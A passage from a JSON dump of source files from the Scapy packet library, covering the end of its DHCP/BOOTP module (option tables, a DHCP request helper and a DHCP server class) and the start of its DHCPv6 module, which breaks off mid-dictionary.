\"0.0.0.0\"),\n        _BOOTP_chaddr(\"chaddr\", b\"\", length=16),\n        StrFixedLenField(\"sname\", b\"\", length=64),\n        StrFixedLenField(\"file\", b\"\", length=128),\n        StrEnumField(\"options\", b\"\", {dhcpmagic: \"DHCP magic\"})]\n\n    def guess_payload_class(self, payload):\n        if self.options[:len(dhcpmagic)] == dhcpmagic:\n            return DHCP\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n    def extract_padding(self, s):\n        if self.options[:len(dhcpmagic)] == dhcpmagic:\n            # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options  # noqa: E501\n            payload = self.options[len(dhcpmagic):]\n            self.options = self.options[:len(dhcpmagic)]\n            return payload, None\n        else:\n            return b\"\", None\n\n    def hashret(self):\n        return struct.pack(\"!I\", self.xid)\n\n    def answers(self, other):\n        if not isinstance(other, BOOTP):\n            return 0\n        return self.xid == other.xid\n\n\nclass _DHCPByteFieldListField(FieldListField):\n    def randval(self):\n        class _RandByteFieldList(RandField):\n            def _fix(self):\n                return [RandByte()] * int(RandByte())\n        return _RandByteFieldList()\n\n\nclass RandClasslessStaticRoutesField(RandField):\n    \"\"\"\n    A RandValue for classless static routes\n    \"\"\"\n\n    def _fix(self):\n        return \"%s/%d:%s\" % (RandIP(), RandNum(0, 32), RandIP())\n\n\nclass ClasslessFieldListField(FieldListField):\n    def randval(self):\n        class _RandClasslessField(RandField):\n            def _fix(self):\n                return [RandClasslessStaticRoutesField()] * int(RandNum(1, 28))\n        return _RandClasslessField()\n\n\nclass ClasslessStaticRoutesField(Field):\n    \"\"\"\n    RFC 3442 defines classless static routes as up to 9 bytes per entry:\n\n    # Code Len Destination 1    Router 1\n    +-----+---+----+-----+----+----+----+----+----+\n    | 121 | n | d1 | ... | dN | r1 | r2 | r3 | r4 |\n    +-----+---+----+-----+----+----+----+----+----+\n\n    Destination first byte contains one octet describing the width followed\n    by all the significant octets of the subnet.\n    \"\"\"\n\n    def m2i(self, pkt, x):\n        # type: (Packet, bytes) -> str\n        # b'\\x20\\x01\\x02\\x03\\x04\\t\\x08\\x07\\x06' -> (1.2.3.4/32:9.8.7.6)\n        prefix = orb(x[0])\n\n        octets = (prefix + 7) // 8\n        # Create the destination IP by using the number of octets\n        # and padding up to 4 bytes to ensure a valid IP.\n        dest = x[1:1 + octets]\n        dest = socket.inet_ntoa(dest.ljust(4, b'\\x00'))\n\n        router = x[1 + octets:5 + octets]\n        router = socket.inet_ntoa(router)\n\n        return dest + \"/\" + str(prefix) + \":\" + router\n\n    def i2m(self, pkt, x):\n        # type: (Packet, str) -> bytes\n        # (1.2.3.4/32:9.8.7.6) -> b'\\x20\\x01\\x02\\x03\\x04\\t\\x08\\x07\\x06'\n        if not x:\n            return b''\n\n        spx = re.split('/|:', str(x))\n        prefix = int(spx[1])\n        # if prefix is invalid value ( 0 > prefix > 32 ) then break\n        if prefix > 32 or prefix < 0:\n            warning(\"Invalid prefix value: %d (0x%x)\", prefix, prefix)\n            return b''\n        octets = (prefix + 7) // 8\n        dest = socket.inet_aton(spx[0])[:octets]\n        router = socket.inet_aton(spx[2])\n        return struct.pack('b', prefix) + dest + router\n\n    def getfield(self, pkt, s):\n        prefix = orb(s[0])\n        route_len = 5 + (prefix + 7) // 8\n        return s[route_len:], self.m2i(pkt, s[:route_len])\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def randval(self):\n        return RandClasslessStaticRoutesField()\n\n\n# DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \\\n# = range(4)\n#\n\n# DHCP Options and BOOTP Vendor Extensions\n\n\nDHCPTypes = {\n    1: \"discover\",\n    2: \"offer\",\n    3: \"request\",\n    4: \"decline\",\n    5: \"ack\",\n    6: \"nak\",\n    7: \"release\",\n    8: \"inform\",\n    9: \"force_renew\",\n    10: \"lease_query\",\n    11: \"lease_unassigned\",\n    12: \"lease_unknown\",\n    13: \"lease_active\",\n}\n\nDHCPOptions = {\n    0: \"pad\",\n    1: IPField(\"subnet_mask\", \"0.0.0.0\"),\n    2: IntField(\"time_zone\", 500),\n    3: IPField(\"router\", \"0.0.0.0\"),\n    4: IPField(\"time_server\", \"0.0.0.0\"),\n    5: IPField(\"IEN_name_server\", \"0.0.0.0\"),\n    6: IPField(\"name_server\", \"0.0.0.0\"),\n    7: IPField(\"log_server\", \"0.0.0.0\"),\n    8: IPField(\"cookie_server\", \"0.0.0.0\"),\n    9: IPField(\"lpr_server\", \"0.0.0.0\"),\n    10: IPField(\"impress-servers\", \"0.0.0.0\"),\n    11: IPField(\"resource-location-servers\", \"0.0.0.0\"),\n    12: \"hostname\",\n    13: ShortField(\"boot-size\", 1000),\n    14: \"dump_path\",\n    15: \"domain\",\n    16: IPField(\"swap-server\", \"0.0.0.0\"),\n    17: \"root_disk_path\",\n    18: \"extensions-path\",\n    19: ByteField(\"ip-forwarding\", 0),\n    20: ByteField(\"non-local-source-routing\", 0),\n    21: IPField(\"policy-filter\", \"0.0.0.0\"),\n    22: ShortField(\"max_dgram_reass_size\", 300),\n    23: ByteField(\"default_ttl\", 50),\n    24: IntField(\"pmtu_timeout\", 1000),\n    25: ShortField(\"path-mtu-plateau-table\", 1000),\n    26: ShortField(\"interface-mtu\", 50),\n    27: ByteField(\"all-subnets-local\", 0),\n    28: IPField(\"broadcast_address\", \"0.0.0.0\"),\n    29: ByteField(\"perform-mask-discovery\", 0),\n    30: ByteField(\"mask-supplier\", 0),\n    31: ByteField(\"router-discovery\", 0),\n    32: IPField(\"router-solicitation-address\", \"0.0.0.0\"),\n    33: IPField(\"static-routes\", \"0.0.0.0\"),\n    34: ByteField(\"trailer-encapsulation\", 0),\n    35: IntField(\"arp_cache_timeout\", 1000),\n    36: ByteField(\"ieee802-3-encapsulation\", 0),\n    37: ByteField(\"tcp_ttl\", 100),\n    38: IntField(\"tcp_keepalive_interval\", 1000),\n    39: ByteField(\"tcp_keepalive_garbage\", 0),\n    40: StrField(\"NIS_domain\", \"www.example.com\"),\n    41: IPField(\"NIS_server\", \"0.0.0.0\"),\n    42: IPField(\"NTP_server\", \"0.0.0.0\"),\n    43: \"vendor_specific\",\n    44: IPField(\"NetBIOS_server\", \"0.0.0.0\"),\n    45: IPField(\"NetBIOS_dist_server\", \"0.0.0.0\"),\n    46: ByteField(\"NetBIOS_node_type\", 100),\n    47: \"netbios-scope\",\n    48: IPField(\"font-servers\", \"0.0.0.0\"),\n    49: IPField(\"x-display-manager\", \"0.0.0.0\"),\n    50: IPField(\"requested_addr\", \"0.0.0.0\"),\n    51: IntField(\"lease_time\", 43200),\n    52: ByteField(\"dhcp-option-overload\", 100),\n    53: ByteEnumField(\"message-type\", 1, DHCPTypes),\n    54: IPField(\"server_id\", \"0.0.0.0\"),\n    55: _DHCPByteFieldListField(\n        \"param_req_list\", [],\n        ByteField(\"opcode\", 0)),\n    56: \"error_message\",\n    57: ShortField(\"max_dhcp_size\", 1500),\n    58: IntField(\"renewal_time\", 21600),\n    59: IntField(\"rebinding_time\", 37800),\n    60: StrField(\"vendor_class_id\", \"id\"),\n    61: StrField(\"client_id\", \"\"),\n    62: \"nwip-domain-name\",\n    64: \"NISplus_domain\",\n    65: IPField(\"NISplus_server\", \"0.0.0.0\"),\n    66: \"tftp_server_name\",\n    67: StrField(\"boot-file-name\", \"\"),\n    68: IPField(\"mobile-ip-home-agent\", \"0.0.0.0\"),\n    69: IPField(\"SMTP_server\", \"0.0.0.0\"),\n    70: IPField(\"POP3_server\", \"0.0.0.0\"),\n    71: IPField(\"NNTP_server\", \"0.0.0.0\"),\n    72: IPField(\"WWW_server\", \"0.0.0.0\"),\n    73: IPField(\"Finger_server\", \"0.0.0.0\"),\n    74: IPField(\"IRC_server\", \"0.0.0.0\"),\n    75: IPField(\"StreetTalk_server\", \"0.0.0.0\"),\n    76: IPField(\"StreetTalk_Dir_Assistance\", \"0.0.0.0\"),\n    77: \"user_class\",\n    78: \"slp_service_agent\",\n    79: \"slp_service_scope\",\n    80: \"rapid_commit\",\n    81: \"client_FQDN\",\n    82: \"relay_agent_information\",\n    85: IPField(\"nds-server\", \"0.0.0.0\"),\n    86: StrField(\"nds-tree-name\", \"\"),\n    87: StrField(\"nds-context\", \"\"),\n    88: \"bcms-controller-namesi\",\n    89: IPField(\"bcms-controller-address\", \"0.0.0.0\"),\n    91: IntField(\"client-last-transaction-time\", 1000),\n    92: IPField(\"associated-ip\", \"0.0.0.0\"),\n    93: \"pxe_client_architecture\",\n    94: \"pxe_client_network_interface\",\n    97: \"pxe_client_machine_identifier\",\n    98: StrField(\"uap-servers\", \"\"),\n    100: StrField(\"pcode\", \"\"),\n    101: StrField(\"tcode\", \"\"),\n    108: IntField(\"ipv6-only-preferred\", 0),\n    112: IPField(\"netinfo-server-address\", \"0.0.0.0\"),\n    113: StrField(\"netinfo-server-tag\", \"\"),\n    114: StrField(\"captive-portal\", \"\"),\n    116: ByteField(\"auto-config\", 0),\n    117: ShortField(\"name-service-search\", 0,),\n    118: IPField(\"subnet-selection\", \"0.0.0.0\"),\n    121: ClasslessFieldListField(\n        \"classless_static_routes\",\n        [],\n        ClasslessStaticRoutesField(\"route\", 0)),\n    124: \"vendor_class\",\n    125: \"vendor_specific_information\",\n    128: IPField(\"tftp_server_ip_address\", \"0.0.0.0\"),\n    136: IPField(\"pana-agent\", \"0.0.0.0\"),\n    137: \"v4-lost\",\n    138: IPField(\"capwap-ac-v4\", \"0.0.0.0\"),\n    141: \"sip_ua_service_domains\",\n    145: _DHCPByteFieldListField(\n         \"forcerenew_nonce_capable\", [],\n         ByteEnumField(\"algorithm\", 1, {1: \"HMAC-MD5\"})),\n    146: \"rdnss-selection\",\n    150: IPField(\"tftp_server_address\", \"0.0.0.0\"),\n    159: \"v4-portparams\",\n    160: StrField(\"v4-captive-portal\", \"\"),\n    161: StrField(\"mud-url\", \"\"),\n    208: \"pxelinux_magic\",\n    209: \"pxelinux_configuration_file\",\n    210: \"pxelinux_path_prefix\",\n    211: \"pxelinux_reboot_time\",\n    212: \"option-6rd\",\n    213: \"v4-access-domain\",\n    255: \"end\"\n}\n\nDHCPRevOptions = {}\n\nfor k, v in DHCPOptions.items():\n    if isinstance(v, str):\n        n = v\n        v = None\n    else:\n        n = v.name\n    DHCPRevOptions[n] = (k, v)\ndel n\ndel v\ndel k\n\n\nclass RandDHCPOptions(RandField):\n    def __init__(self, size=None, rndstr=None):\n        if size is None:\n            size = RandNumExpo(0.05)\n        self.size = size\n        if rndstr is None:\n            rndstr = RandBin(RandNum(0, 255))\n        self.rndstr = rndstr\n        self._opts = list(DHCPOptions.values())\n        self._opts.remove(\"pad\")\n        self._opts.remove(\"end\")\n\n    def _fix(self):\n        op = []\n        for k in range(self.size):\n            o = random.choice(self._opts)\n            if isinstance(o, str):\n                op.append((o, self.rndstr * 1))\n            else:\n                r = o.randval()._fix()\n                if isinstance(r, bytes):\n                    r = r[:255]\n                op.append((o.name, r))\n        return op\n\n    def __iter__(self):\n        return iter(self._fix())\n\n\nclass DHCPOptionsField(StrField):\n    \"\"\"\n    A field that builds and dissects DHCP options.\n    The internal value is a list of tuples with the format\n    [(\"option_name\", <option_value>), ...]\n    Where expected names and values can be found using `DHCPOptions`\n    \"\"\"\n    islist = 1\n\n    def i2repr(self, pkt, x):\n        s = []\n        for v in x:\n            if isinstance(v, tuple) and len(v) >= 2:\n                if v[0] in DHCPRevOptions and isinstance(DHCPRevOptions[v[0]][1], Field):  # noqa: E501\n                    f = DHCPRevOptions[v[0]][1]\n                    vv = \",\".join(f.i2repr(pkt, val) for val in v[1:])\n                else:\n                    vv = \",\".join(repr(val) for val in v[1:])\n                s.append(\"%s=%s\" % (v[0], vv))\n            else:\n                s.append(sane(v))\n        return \"[%s]\" % (\" \".join(s))\n\n    def getfield(self, pkt, s):\n        return b\"\", self.m2i(pkt, s)\n\n    def m2i(self, pkt, x):\n        opt = []\n        while x:\n            o = orb(x[0])\n            if o == 255:\n                opt.append(\"end\")\n                x = x[1:]\n                continue\n            if o == 0:\n                opt.append(\"pad\")\n                x = x[1:]\n                continue\n            if len(x) < 2 or len(x) < orb(x[1]) + 2:\n                opt.append(x)\n                break\n            elif o in DHCPOptions:\n                f = DHCPOptions[o]\n\n                if isinstance(f, str):\n                    olen = orb(x[1])\n                    opt.append((f, x[2:olen + 2]))\n                    x = x[olen + 2:]\n                else:\n                    olen = orb(x[1])\n                    lval = [f.name]\n\n                    if olen == 0:\n                        try:\n                            _, val = f.getfield(pkt, b'')\n                        except Exception:\n                            opt.append(x)\n                            break\n                        else:\n                            lval.append(val)\n\n                    try:\n                        left = x[2:olen + 2]\n                        while left:\n                            left, val = f.getfield(pkt, left)\n                            lval.append(val)\n                    except Exception:\n                        opt.append(x)\n                        break\n                    else:\n                        otuple = tuple(lval)\n                    opt.append(otuple)\n                    x = x[olen + 2:]\n            else:\n                olen = orb(x[1])\n                opt.append((o, x[2:olen + 2]))\n                x = x[olen + 2:]\n        return opt\n\n    def i2m(self, pkt, x):\n        if isinstance(x, str):\n            return x\n        s = b\"\"\n        for o in x:\n            if isinstance(o, tuple) and len(o) >= 2:\n                name = o[0]\n                lval = o[1:]\n\n                if isinstance(name, int):\n                    onum, oval = name, b\"\".join(lval)\n                elif name in DHCPRevOptions:\n                    onum, f = DHCPRevOptions[name]\n                    if f is not None:\n                        lval = (f.addfield(pkt, b\"\", f.any2i(pkt, val)) for val in lval)  # noqa: E501\n                    else:\n                        lval = (bytes_encode(x) for x in lval)\n                    oval = b\"\".join(lval)\n                else:\n                    warning(\"Unknown field option %s\", name)\n                    continue\n\n                s += struct.pack(\"!BB\", onum, len(oval))\n                s += oval\n\n            elif (isinstance(o, str) and o in DHCPRevOptions and\n                  DHCPRevOptions[o][1] is None):\n                s += chb(DHCPRevOptions[o][0])\n            elif isinstance(o, int):\n                s += chb(o) + b\"\\0\"\n            elif isinstance(o, (str, bytes)):\n                s += bytes_encode(o)\n            else:\n                warning(\"Malformed option %s\", o)\n        return s\n\n    def randval(self):\n        return RandDHCPOptions()\n\n\nclass DHCP(Packet):\n    name = \"DHCP options\"\n    fields_desc = [DHCPOptionsField(\"options\", b\"\")]\n\n    def mysummary(self):\n        for id in self.options:\n            if isinstance(id, tuple) and id[0] == \"message-type\":\n                return \"DHCP %s\" % DHCPTypes.get(id[1], \"\").capitalize()\n        return super(DHCP, self).mysummary()\n\n\nbind_layers(UDP, BOOTP, dport=67, sport=68)\nbind_layers(UDP, BOOTP, dport=68, sport=67)\nbind_bottom_up(UDP, BOOTP, dport=67, sport=67)\nbind_layers(BOOTP, DHCP, options=b'c\\x82Sc')\n\n\n@conf.commands.register\ndef dhcp_request(hw=None,\n                 req_type='discover',\n                 server_id=None,\n                 requested_addr=None,\n                 hostname=None,\n                 iface=None,\n                 **kargs):\n    \"\"\"\n    Send a DHCP discover request and return the answer.\n\n    Usage::\n\n        >>> dhcp_request()  # send DHCP discover\n        >>> dhcp_request(req_type='request',\n        ...              requested_addr='10.53.4.34')  # send DHCP request\n    \"\"\"\n    if conf.checkIPaddr:\n        warning(\n            \"conf.checkIPaddr is enabled, may not be able to match the answer\"\n        )\n    if hw is None:\n        if iface is None:\n            iface = conf.iface\n        hw = get_if_hwaddr(iface)\n    dhcp_options = [\n        ('message-type', req_type),\n        ('client_id', b'\\x01' + mac2str(hw)),\n    ]\n    if requested_addr is not None:\n        dhcp_options.append(('requested_addr', requested_addr))\n    elif req_type == 'request':\n        warning(\"DHCP Request without requested_addr will likely be ignored\")\n    if server_id is not None:\n        dhcp_options.append(('server_id', server_id))\n    if hostname is not None:\n        dhcp_options.extend([\n            ('hostname', hostname),\n            ('client_FQDN', b'\\x00\\x00\\x00' + bytes_encode(hostname)),\n        ])\n    dhcp_options.extend([\n        ('vendor_class_id', b'MSFT 5.0'),\n        ('param_req_list', [\n            1, 3, 6, 15, 31, 33, 43, 44, 46, 47, 119, 121, 249, 252\n        ]),\n        'end'\n    ])\n    return srp1(\n        Ether(dst=\"ff:ff:ff:ff:ff:ff\", src=hw) /\n        IP(src=\"0.0.0.0\", dst=\"255.255.255.255\") /\n        UDP(sport=68, dport=67) /\n        BOOTP(chaddr=hw, xid=RandInt(), flags=\"B\") /\n        DHCP(options=dhcp_options),\n        iface=iface, **kargs\n    )\n\n\nclass BOOTP_am(AnsweringMachine):\n    function_name = \"bootpd\"\n    filter = \"udp and port 68 and port 67\"\n\n    def parse_options(self,\n                      pool: Union[Net, List[str]] = Net(\"192.168.1.128/25\"),\n                      network: str = \"192.168.1.0/24\",\n                      gw: str = \"192.168.1.1\",\n                      nameserver: Union[str, List[str]] = None,\n                      domain: Optional[str] = None,\n                      renewal_time: int = 60,\n                      lease_time: int = 1800,\n                      **kwargs):\n        \"\"\"\n        :param pool: the range of addresses to distribute. Can be a Net,\n                     a list of IPs or a string (always gives the same IP).\n        :param network: the subnet range\n        :param gw: the gateway IP (can be None)\n        :param nameserver: the DNS server IP (by default, same than gw).\n            This can also be a list.\n        :param domain: the domain to advertise (can be None)\n\n        Other DHCP parameters can be passed as kwargs. See DHCPOptions in dhcp.py.\n        For instance::\n\n            dhcpd(pool=Net(\"10.0.10.0/24\"), network=\"10.0.0.0/8\", gw=\"10.0.10.1\",\n                  classless_static_routes=[\"1.2.3.4/32:9.8.7.6\"])\n\n        Other example with different options::\n\n            dhcpd(pool=Net(\"10.0.10.0/24\"), network=\"10.0.0.0/8\", gw=\"10.0.10.1\",\n                  nameserver=[\"8.8.8.8\", \"4.4.4.4\"], domain=\"DOMAIN.LOCAL\")\n        \"\"\"\n        self.domain = domain\n        netw, msk = (network.split(\"/\") + [\"32\"])[:2]\n        msk = itom(int(msk))\n        self.netmask = ltoa(msk)\n        self.network = ltoa(atol(netw) & msk)\n        self.broadcast = ltoa(atol(self.network) | (0xffffffff & ~msk))\n        self.gw = gw\n        if nameserver is None:\n            self.nameserver = (gw,)\n        elif isinstance(nameserver, str):\n            self.nameserver = (nameserver,)\n        else:\n            self.nameserver = tuple(nameserver)\n\n        if isinstance(pool, str):\n            pool = Net(pool)\n        if isinstance(pool, Iterable):\n            pool = [k for k in pool if k not in [gw, self.network, self.broadcast]]\n            pool.reverse()\n        if len(pool) == 1:\n            pool, = pool\n        self.pool = pool\n        self.lease_time = lease_time\n        self.renewal_time = renewal_time\n        self.leases = {}\n        self.kwargs = kwargs\n\n    def is_request(self, req):\n        if not req.haslayer(BOOTP):\n            return 0\n        reqb = req.getlayer(BOOTP)\n        if reqb.op != 1:\n            return 0\n        return 1\n\n    def print_reply(self, _, reply):\n        print(\"Reply %s to %s\" % (reply.getlayer(IP).dst, reply.dst))\n\n    def make_reply(self, req):\n        mac = req[Ether].src\n        if isinstance(self.pool, list):\n            if mac not in self.leases:\n                self.leases[mac] = self.pool.pop()\n            ip = self.leases[mac]\n        else:\n            ip = self.pool\n\n        repb = req.getlayer(BOOTP).copy()\n        repb.op = \"BOOTREPLY\"\n        repb.yiaddr = ip\n        repb.siaddr = self.gw\n        repb.ciaddr = self.gw\n        repb.giaddr = self.gw\n        del repb.payload\n        rep = Ether(dst=mac) / IP(dst=ip) / UDP(sport=req.dport, dport=req.sport) / repb  # noqa: E501\n        return rep\n\n\nclass DHCP_am(BOOTP_am):\n    function_name = \"dhcpd\"\n\n    def make_reply(self, req):\n        resp = BOOTP_am.make_reply(self, req)\n        if DHCP in req:\n            dhcp_options = [\n                (op[0], {1: 2, 3: 5}.get(op[1], op[1]))\n                for op in req[DHCP].options\n                if isinstance(op, tuple) and op[0] == \"message-type\"\n            ]\n            dhcp_options += [\n                x for x in [\n                    (\"server_id\", self.gw),\n                    (\"domain\", self.domain),\n                    (\"router\", self.gw),\n                    (\"name_server\", *self.nameserver),\n                    (\"broadcast_address\", self.broadcast),\n                    (\"subnet_mask\", self.netmask),\n                    (\"renewal_time\", self.renewal_time),\n                    (\"lease_time\", self.lease_time),\n                ]\n                if x[1] is not None\n            ]\n            if self.kwargs:\n                dhcp_options += self.kwargs.items()\n            dhcp_options.append(\"end\")\n            resp /= DHCP(options=dhcp_options)\n        return resp\n"
  },
  {
    "path": "scapy/layers/dhcp6.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>\n#                     Arnaud Ebalard <arnaud.ebalard@eads.net>\n\n\"\"\"\nDHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315,8415]\n\"\"\"\n\nimport socket\nimport struct\nimport time\n\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.arch import get_if_hwaddr, in6_getifaddr\nfrom scapy.config import conf\nfrom scapy.data import EPOCH, ETHER_ANY\nfrom scapy.compat import raw, orb\nfrom scapy.error import warning\nfrom scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \\\n    FlagsField, IntEnumField, IntField, MACField, \\\n    PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, \\\n    StrLenField, UTCTimeField, X3BytesField, XIntField, XShortEnumField, \\\n    PacketLenField, UUIDField, FieldListField\nfrom scapy.data import IANA_ENTERPRISE_NUMBERS\nfrom scapy.layers.dns import DNSStrField\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.inet6 import DomainNameListField, IP6Field, IP6ListField, \\\n    IPv6\nfrom scapy.packet import Packet, bind_bottom_up\nfrom scapy.pton_ntop import inet_pton\nfrom scapy.sendrecv import send\nfrom scapy.themes import Color\nfrom scapy.utils6 import in6_addrtovendor, in6_islladdr\n\n#############################################################################\n# Helpers                                                                  ##\n#############################################################################\n\n\ndef get_cls(name, fallback_cls):\n    return globals().get(name, fallback_cls)\n\n\ndhcp6_cls_by_type = {1: \"DHCP6_Solicit\",\n                     2: \"DHCP6_Advertise\",\n                     3: \"DHCP6_Request\",\n                     4: \"DHCP6_Confirm\",\n                     5: \"DHCP6_Renew\",\n                     6: \"DHCP6_Rebind\",\n                     7: \"DHCP6_Reply\",\n                     8: \"DHCP6_Release\",\n                     9: \"DHCP6_Decline\",\n                     10: \"DHCP6_Reconf\",\n                     11: \"DHCP6_InfoRequest\",\n                     12: \"DHCP6_RelayForward\",\n                     13: \"DHCP6_RelayReply\",\n                     36: \"DHCP6_AddrRegInform\",\n                     37: \"DHCP6_AddrRegReply\",\n                     }\n\n\ndef _dhcp6_dispatcher(x, *args, **kargs):\n    cls = conf.raw_layer\n    if len(x) >= 2:\n        cls = get_cls(dhcp6_cls_by_type.get(orb(x[0]), \"Raw\"), conf.raw_layer)\n    return cls(x, *args, **kargs)\n\n#############################################################################\n#############################################################################\n#                                  DHCPv6                                   #\n#############################################################################\n#############################################################################\n\n\nAll_DHCP_Relay_Agents_and_Servers = \"ff02::1:2\"\nAll_DHCP_Servers = \"ff05::1:3\"  # Site-Local scope : deprecated by 3879\n\ndhcp6opts = {1: \"CLIENTID\",\n             2: \"SERVERID\",\n             3: \"IA_NA\",\n             4: \"IA_TA\",\n             5: \"IAADDR\",\n             6: \"ORO\",\n             7: \"PREFERENCE\",\n             8: \"ELAPSED_TIME\",\n             9: \"RELAY_MSG\",\n             11: \"AUTH\",\n             12: \"UNICAST\",\n             13: \"STATUS_CODE\",\n             14: \"RAPID_COMMIT\",\n             15: \"USER_CLASS\",\n             16: \"VENDOR_CLASS\",\n             17: \"VENDOR_OPTS\",\n             18: \"INTERFACE_ID\",\n             19: \"RECONF_MSG\",\n             20: \"RECONF_ACCEPT\",\n             21: \"SIP Servers Domain Name List\",  # RFC3319\n             22: \"SIP Servers IPv6 Address List\",  # RFC3319\n             23: \"DNS Recursive Name Server Option\",  # RFC3646\n             24: \"Domain Search List option\",  # RFC3646\n             25: \"OPTION_IA_PD\",  # RFC3633\n             26: \"OPTION_IAPREFIX\",  # RFC3633\n             27: \"OPTION_NIS_SERVERS\",  # RFC3898\n             28: \"OPTION_NISP_SERVERS\",  # RFC3898\n             29: \"OPTION_NIS_DOMAIN_NAME\",  # RFC3898\n             30: \"OPTION_NISP_DOMAIN_NAME\",  # RFC3898\n             31: \"OPTION_SNTP_SERVERS\",  # RFC4075\n             32: \"OPTION_INFORMATION_REFRESH_TIME\",  # RFC4242\n             33: \"OPTION_BCMCS_SERVER_D\",  # RFC4280\n             34: \"OPTION_BCMCS_SERVER_A\",  # RFC4280\n             36: \"OPTION_GEOCONF_CIVIC\",  # RFC-ietf-geopriv-dhcp-civil-09.txt\n             37: \"OPTION_REMOTE_ID\",  # RFC4649\n             38: \"OPTION_SUBSCRIBER_ID\",  # RFC4580\n             39: \"OPTION_CLIENT_FQDN\",  # RFC4704\n             40: \"OPTION_PANA_AGENT\",  # RFC5192\n             41: \"OPTION_NEW_POSIX_TIMEZONE\",  # RFC4833\n             42: \"OPTION_NEW_TZDB_TIMEZONE\",  # RFC4833\n             48: \"OPTION_LQ_CLIENT_LINK\",  # RFC5007\n             56: \"OPTION_NTP_SERVER\",  # RFC5908\n             59: \"OPT_BOOTFILE_URL\",  # RFC5970\n             60: \"OPT_BOOTFILE_PARAM\",  # RFC5970\n             61: \"OPTION_CLIENT_ARCH_TYPE\",  # RFC5970\n             62: \"OPTION_NII\",  # RFC5970\n             65: \"OPTION_ERP_LOCAL_DOMAIN_NAME\",  # RFC6440\n             66: \"OPTION_RELAY_SUPPLIED_OPTIONS\",  # RFC6422\n             68: \"OPTION_VSS\",  # RFC6607\n             79: \"OPTION_CLIENT_LINKLAYER_ADDR\",  # RFC6939\n             103: \"OPTION_CAPTIVE_PORTAL\",  # RFC8910\n             112: \"OPTION_MUD_URL\",  # RFC8520\n             148: \"OPTION_ADDR_REG_ENABLE\",  # RFC9686\n             }\n\ndhcp6opts_by_code = {1: \"DHCP6OptClientId\",\n                     2: \"DHCP6OptServerId\",\n                     3: \"DHCP6OptIA_NA\",\n                     4: \"DHCP6OptIA_TA\",\n                     5: \"DHCP6OptIAAddress\",\n                     6: \"DHCP6OptOptReq\",\n                     7: \"DHCP6OptPref\",\n                     8: \"DHCP6OptElapsedTime\",\n                     9: \"DHCP6OptRelayMsg\",\n                     11: \"DHCP6OptAuth\",\n                     12: \"DHCP6OptServerUnicast\",\n                     13: \"DHCP6OptStatusCode\",\n                     14: \"DHCP6OptRapidCommit\",\n                     15: \"DHCP6OptUserClass\",\n                     16: \"DHCP6OptVendorClass\",\n                     17: \"DHCP6OptVendorSpecificInfo\",\n                     18: \"DHCP6OptIfaceId\",\n                     19: \"DHCP6OptReconfMsg\",\n                     20: \"DHCP6OptReconfAccept\",\n                     21: \"DHCP6OptSIPDomains\",  # RFC3319\n                     22: \"DHCP6OptSIPServers\",  # RFC3319\n                     23: \"DHCP6OptDNSServers\",  # RFC3646\n                     24: \"DHCP6OptDNSDomains\",  # RFC3646\n                     25: \"DHCP6OptIA_PD\",  # RFC3633\n                     26: \"DHCP6OptIAPrefix\",  # RFC3633\n                     27: \"DHCP6OptNISServers\",  # RFC3898\n                     28: \"DHCP6OptNISPServers\",  # RFC3898\n                     29: \"DHCP6OptNISDomain\",  # RFC3898\n                     30: \"DHCP6OptNISPDomain\",  # RFC3898\n                     31: \"DHCP6OptSNTPServers\",  # RFC4075\n                     32: \"DHCP6OptInfoRefreshTime\",  # RFC4242\n                     33: \"DHCP6OptBCMCSDomains\",  # RFC4280\n                     34: \"DHCP6OptBCMCSServers\",  # RFC4280\n                     # 36: \"DHCP6OptGeoConf\",            #RFC-ietf-geopriv-dhcp-civil-09.txt  # noqa: E501\n                     37: \"DHCP6OptRemoteID\",  # RFC4649\n                     38: \"DHCP6OptSubscriberID\",  # RFC4580\n                     39: \"DHCP6OptClientFQDN\",  # RFC4704\n                     40: \"DHCP6OptPanaAuthAgent\",  # RFC-ietf-dhc-paa-option-05.txt  # noqa: E501\n                     41: \"DHCP6OptNewPOSIXTimeZone\",  # RFC4833\n                     42: \"DHCP6OptNewTZDBTimeZone\",  # RFC4833\n                     43: \"DHCP6OptRelayAgentERO\",  # RFC4994\n                     # 44: \"DHCP6OptLQQuery\",            #RFC5007\n                     # 45: \"DHCP6OptLQClientData\",       #RFC5007\n                     # 46: \"DHCP6OptLQClientTime\",       #RFC5007\n                     # 47: \"DHCP6OptLQRelayData\",        #RFC5007\n                     48: \"DHCP6OptLQClientLink\",  # RFC5007\n                     56: \"DHCP6OptNTPServer\",  # RFC5908\n                     59: \"DHCP6OptBootFileUrl\",  # RFC5790\n                     60: \"DHCP6OptBootFileParam\",  # RFC5970\n                     61: \"DHCP6OptClientArchType\",  # RFC5970\n                     62: \"DHCP6OptClientNetworkInterId\",  # RFC5970\n                     65: \"DHCP6OptERPDomain\",  # RFC6440\n                     66: \"DHCP6OptRelaySuppliedOpt\",  # RFC6422\n                     68: \"DHCP6OptVSS\",  # RFC6607\n                     79: \"DHCP6OptClientLinkLayerAddr\",  # RFC6939\n                     103: \"DHCP6OptCaptivePortal\",  # RFC8910\n                     112: \"DHCP6OptMudUrl\",  # RFC8520\n                     148: \"DHCP6OptAddrRegEnable\",  # RFC9686\n                     }\n\n\n# sect 7.3 RFC 8415 : DHCP6 Messages types\n# also RFC 9686\ndhcp6types = {1: \"SOLICIT\",\n                 2: \"ADVERTISE\",\n                 3: \"REQUEST\",\n                 4: \"CONFIRM\",\n                 5: \"RENEW\",\n                 6: \"REBIND\",\n                 7: \"REPLY\",\n                 8: \"RELEASE\",\n                 9: \"DECLINE\",\n              10: \"RECONFIGURE\",\n              11: \"INFORMATION-REQUEST\",\n              12: \"RELAY-FORW\",\n              13: \"RELAY-REPL\",\n              36: \"ADDR-REG-INFORM\",\n              37: 